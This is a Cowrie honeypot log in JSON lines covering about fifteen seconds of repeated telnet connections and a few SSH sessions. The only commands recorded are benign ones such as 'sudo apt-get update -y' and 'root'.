{"eventid":"cowrie.session.closed","duration":30.405994653701782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:48.726454Z","src_ip":"50.6.18.72","session":"c3d94ec3a4cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959567546844482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:49.410123Z","src_ip":"50.6.18.72","session":"8da0ee6ef5b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60318,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d1a9b7d0fb6","protocol":"telnet","message":"New connection: 50.6.18.72:60318 (159.203.135.109:23) [session: 3d1a9b7d0fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:49.505892Z"}
{"eventid":"cowrie.session.closed","duration":30.5793616771698,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:50.820700Z","src_ip":"50.6.18.72","session":"e547a074c073","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96855068206787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:50.839772Z","src_ip":"50.6.18.72","session":"6f692b3bef5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671106815338135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:50.891428Z","src_ip":"50.6.18.72","session":"08d0e389a59d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113767385482788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:51.053448Z","src_ip":"50.6.18.72","session":"4864ec00c6f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.854875564575195,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:51.096032Z","src_ip":"50.6.18.72","session":"53f2b3ba32e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.370163202285767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:51.467167Z","src_ip":"50.6.18.72","session":"5751dd756cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.120445728302002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:51.542856Z","src_ip":"50.6.18.72","session":"52e02b2a5c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818007946014404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:51.591194Z","src_ip":"50.6.18.72","session":"2d6199bcc065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.135752201080322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:51.686155Z","src_ip":"50.6.18.72","session":"f36680604138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.308159351348877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:52.370623Z","src_ip":"50.6.18.72","session":"3edffc5a516a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60054,"dst_ip":"159.203.135.109","dst_port":23,"session":"653ab1a888e3","protocol":"telnet","message":"New connection: 69.162.99.242:60054 (159.203.135.109:23) [session: 653ab1a888e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:52.511777Z"}
{"eventid":"cowrie.session.closed","duration":30.228350400924683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:52.618297Z","src_ip":"50.6.18.72","session":"1be50a2cc3c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828171014785767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:52.655034Z","src_ip":"50.6.18.72","session":"ff960b1f6d26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.347264051437378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:52.750866Z","src_ip":"50.6.18.72","session":"9a85998f6656","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:52.760010Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.974776029586792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:52.797118Z","src_ip":"50.6.18.72","session":"6093104e6469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60354,"dst_ip":"159.203.135.109","dst_port":23,"session":"2639d2647536","protocol":"telnet","message":"New connection: 50.6.18.72:60354 (159.203.135.109:23) [session: 2639d2647536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:52.863373Z"}
{"eventid":"cowrie.session.closed","duration":33.81290626525879,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.189466Z","src_ip":"50.6.18.72","session":"951fca28393f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.953015089035034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.199477Z","src_ip":"50.6.18.72","session":"eaad2b34afb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50774431228638,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.382490Z","src_ip":"50.6.18.72","session":"eedb4571d9c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60370,"dst_ip":"159.203.135.109","dst_port":23,"session":"b68d41df31bd","protocol":"telnet","message":"New connection: 50.6.18.72:60370 (159.203.135.109:23) [session: b68d41df31bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.463437Z"}
{"eventid":"cowrie.session.closed","duration":33.5609130859375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.575153Z","src_ip":"50.6.18.72","session":"dc90446f974c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33972954750061,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.675761Z","src_ip":"50.6.18.72","session":"fe6290ce9caa","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"root","message":"CMD: root","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.709199Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"root ","message":"Command not found: root ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.714190Z","src_ip":"185.71.233.73","session":"1184e22a01c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.6101336479187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.725471Z","src_ip":"50.6.18.72","session":"5437a63f4b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60348,"dst_ip":"159.203.135.109","dst_port":23,"session":"858ad0574b36","protocol":"telnet","message":"New connection: 50.6.18.72:60348 (159.203.135.109:23) [session: 858ad0574b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:53.959368Z"}
{"eventid":"cowrie.session.closed","duration":31.455488920211792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:54.477433Z","src_ip":"50.6.18.72","session":"321d34accb0f","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:54.500497Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.920897006988525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:54.549210Z","src_ip":"50.6.18.72","session":"9c3b001791ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51475477218628,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:54.597932Z","src_ip":"50.6.18.72","session":"df482b32cce3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60372,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa64500dfa3f","protocol":"telnet","message":"New connection: 50.6.18.72:60372 (159.203.135.109:23) [session: aa64500dfa3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:54.721920Z"}
{"eventid":"cowrie.command.input","input":"root","message":"CMD: root","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:55.510311Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"root ","message":"Command not found: root ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:55.514868Z","src_ip":"185.71.233.73","session":"c0fb69196b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.956624507904053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:55.599157Z","src_ip":"50.6.18.72","session":"6dc6111dff45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44040,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd859a62f4f4","protocol":"telnet","message":"New connection: 45.58.127.90:44040 (10.17.0.5:23) [session: bd859a62f4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:55.609964Z"}
{"eventid":"cowrie.session.closed","duration":30.295928239822388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:55.666101Z","src_ip":"50.6.18.72","session":"cef2131a27d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850675344467163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:55.727909Z","src_ip":"50.6.18.72","session":"8dd8c823ab9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197749376296997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:55.928475Z","src_ip":"50.6.18.72","session":"f8535751c9c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474923372268677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.409455Z","src_ip":"50.6.18.72","session":"0580af293948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60368,"dst_ip":"159.203.135.109","dst_port":23,"session":"0202540773ce","protocol":"telnet","message":"New connection: 50.6.18.72:60368 (159.203.135.109:23) [session: 0202540773ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.455429Z"}
{"eventid":"cowrie.session.closed","duration":31.319112539291382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.505913Z","src_ip":"50.6.18.72","session":"71b65f462e5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37183690071106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.585965Z","src_ip":"50.6.18.72","session":"ff1816315a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655418157577515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.620672Z","src_ip":"50.6.18.72","session":"41e815b59a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771117687225342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.661320Z","src_ip":"50.6.18.72","session":"7897699d9670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.332012176513672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.671091Z","src_ip":"50.6.18.72","session":"a2873080fbb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48958,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9ae8ca7750f","protocol":"telnet","message":"New connection: 50.6.18.72:48958 (159.203.135.109:23) [session: d9ae8ca7750f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.738227Z"}
{"eventid":"cowrie.session.closed","duration":30.50060510635376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:56.813850Z","src_ip":"50.6.18.72","session":"d4bef827f487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222733974456787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.162835Z","src_ip":"50.6.18.72","session":"d0dfa2ba48ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60376,"dst_ip":"159.203.135.109","dst_port":23,"session":"131f6bd8c048","protocol":"telnet","message":"New connection: 50.6.18.72:60376 (159.203.135.109:23) [session: 131f6bd8c048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.314330Z"}
{"eventid":"cowrie.session.closed","duration":31.415032625198364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.376193Z","src_ip":"50.6.18.72","session":"b046d94a28da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48974,"dst_ip":"159.203.135.109","dst_port":23,"session":"33c2723631c9","protocol":"telnet","message":"New connection: 50.6.18.72:48974 (159.203.135.109:23) [session: 33c2723631c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.450696Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48978,"dst_ip":"159.203.135.109","dst_port":23,"session":"a33e0e7fe53e","protocol":"telnet","message":"New connection: 50.6.18.72:48978 (159.203.135.109:23) [session: a33e0e7fe53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.480446Z"}
{"eventid":"cowrie.session.closed","duration":31.096762895584106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.526978Z","src_ip":"69.162.99.242","session":"3d2d3a2157e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":59536,"dst_ip":"159.203.135.109","dst_port":23,"session":"703c478db77d","protocol":"telnet","message":"New connection: 50.6.18.72:59536 (159.203.135.109:23) [session: 703c478db77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.612304Z"}
{"eventid":"cowrie.session.closed","duration":0.0060634613037109375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.618173Z","src_ip":"50.6.18.72","session":"703c478db77d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637914896011353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.679822Z","src_ip":"50.6.18.72","session":"6a817f7a4c67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.154170989990234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.687757Z","src_ip":"50.6.18.72","session":"4e87f23d365e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45869493484497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:57.872469Z","src_ip":"50.6.18.72","session":"febff47b5036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25393843650818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:58.278181Z","src_ip":"50.6.18.72","session":"628f8006d375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48998,"dst_ip":"159.203.135.109","dst_port":23,"session":"0538a22bfccf","protocol":"telnet","message":"New connection: 50.6.18.72:48998 (159.203.135.109:23) [session: 0538a22bfccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:58.371576Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48952,"dst_ip":"159.203.135.109","dst_port":23,"session":"56f7918cfbed","protocol":"telnet","message":"New connection: 50.6.18.72:48952 (159.203.135.109:23) [session: 56f7918cfbed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:58.658454Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48982,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6b90922c1a1","protocol":"telnet","message":"New connection: 50.6.18.72:48982 (159.203.135.109:23) [session: e6b90922c1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:59.171839Z"}
{"eventid":"cowrie.session.closed","duration":30.456958293914795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:59.805592Z","src_ip":"50.6.18.72","session":"fa348d994a56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4799165725708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:00.136831Z","src_ip":"50.6.18.72","session":"b83d8380f092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49012,"dst_ip":"159.203.135.109","dst_port":23,"session":"14884af443fb","protocol":"telnet","message":"New connection: 50.6.18.72:49012 (159.203.135.109:23) [session: 14884af443fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:00.365184Z"}
{"eventid":"cowrie.session.closed","duration":31.074305295944214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:00.547209Z","src_ip":"50.6.18.72","session":"bb8e4134934b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.66898536682129,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.226874Z","src_ip":"50.6.18.72","session":"49f189c19e56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49028,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b03e1cc4254","protocol":"telnet","message":"New connection: 50.6.18.72:49028 (159.203.135.109:23) [session: 6b03e1cc4254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.276343Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49044,"dst_ip":"159.203.135.109","dst_port":23,"session":"128090d5f34e","protocol":"telnet","message":"New connection: 50.6.18.72:49044 (159.203.135.109:23) [session: 128090d5f34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.356856Z"}
{"eventid":"cowrie.session.closed","duration":31.057546854019165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.590909Z","src_ip":"50.6.18.72","session":"d866d01cc307","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878675937652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.600644Z","src_ip":"50.6.18.72","session":"65aa05b0cc6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11861228942871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.659725Z","src_ip":"50.6.18.72","session":"1145759c5a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49058,"dst_ip":"159.203.135.109","dst_port":23,"session":"32cd5e000897","protocol":"telnet","message":"New connection: 50.6.18.72:49058 (159.203.135.109:23) [session: 32cd5e000897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.695021Z"}
{"eventid":"cowrie.session.closed","duration":30.639907836914062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.706033Z","src_ip":"50.6.18.72","session":"a7552937f5ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.319332599639893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.864069Z","src_ip":"50.6.18.72","session":"9259db3a7223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10973620414734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:01.986763Z","src_ip":"50.6.18.72","session":"08ce1d5d7a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.253281593322754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:02.542369Z","src_ip":"50.6.18.72","session":"5d753efeed85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49068,"dst_ip":"159.203.135.109","dst_port":23,"session":"69990140e8d8","protocol":"telnet","message":"New connection: 50.6.18.72:49068 (159.203.135.109:23) [session: 69990140e8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:02.547431Z"}
{"eventid":"cowrie.session.closed","duration":30.87228274345398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:02.563943Z","src_ip":"50.6.18.72","session":"8675b458d1c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63301134109497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:02.636578Z","src_ip":"50.6.18.72","session":"0a485e7adec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92417311668396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:02.791853Z","src_ip":"50.6.18.72","session":"af14fbcddd68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18565821647644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:02.840302Z","src_ip":"50.6.18.72","session":"47427f245012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.137080669403076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:03.088029Z","src_ip":"50.6.18.72","session":"08b4bb850e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.543887615203857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:03.101131Z","src_ip":"50.6.18.72","session":"3bd605a54283","protocol":"telnet"}
